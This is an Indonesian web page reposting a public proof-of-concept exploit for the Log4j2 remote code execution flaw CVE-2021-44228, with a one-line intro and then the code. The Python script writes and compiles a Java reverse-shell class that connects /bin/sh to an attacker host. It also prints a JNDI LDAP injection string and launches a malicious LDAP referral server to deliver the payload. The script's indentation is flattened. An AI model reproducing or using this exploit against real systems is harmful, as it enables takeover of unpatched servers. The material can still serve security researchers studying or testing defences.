Apache Log4j2 2.14.1 Eksekusi Kode Jarak Jauh

  • Whatsapp
Apache Log4j2 2.14.1 Eksekusi Kode Jarak Jauh
Apache Logj Eksekusi Kode Jarak Jauh

News.nextcloud.asia

Apache Log4j2 versi 2.0-beta-9 dan 2.14.1 eksploit eksekusi kode jarak jauh.

MD5 | effffeb0b4db68e42eeeb2f13e3fd0c0

# Exploit Title: Apache Log4j 2 - Remote Code Execution (RCE)
# Date: 11/12/2021
# Exploit Authors: kozmer, z9fr, svmorris
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Software Link: https://github.com/apache/logging-log4j2
# Version: versions 2.0-beta-9 and 2.14.1.
# Tested on: Linux
# CVE: CVE-2021-44228
# Github repo: https://github.com/kozmer/log4j-shell-poc

import subprocess
import os
import sys

javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version']) #stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
print("n")

userip = input("[+] Enter IP for LDAPRefServer & Shell: ")
userport = input("[+] Enter listener port for LDAPRefServer: ")
lport = input("[+] Set listener port for shell: ")

def payload():

javapayload = ("""

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

public Exploit() throws Exception {
String host="%s";
int port=%s;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}

""") % (userip,lport)

f = open("Exploit.java", "w")
f.write(javapayload)
f.close()

os.system('./jdk1.8.0_20/bin/javac Exploit.java')

sendme = ("${jndi:ldap://%s:1389/a}") % (userip)
print("[+] Send me: "+sendme+"n")

def marshalsec():
os.system("./jdk1.8.0_20/bin/java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://{}:{}/#Exploit".format
(userip, userport))

if __name__== "__main__":
payload()
marshalsec()

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.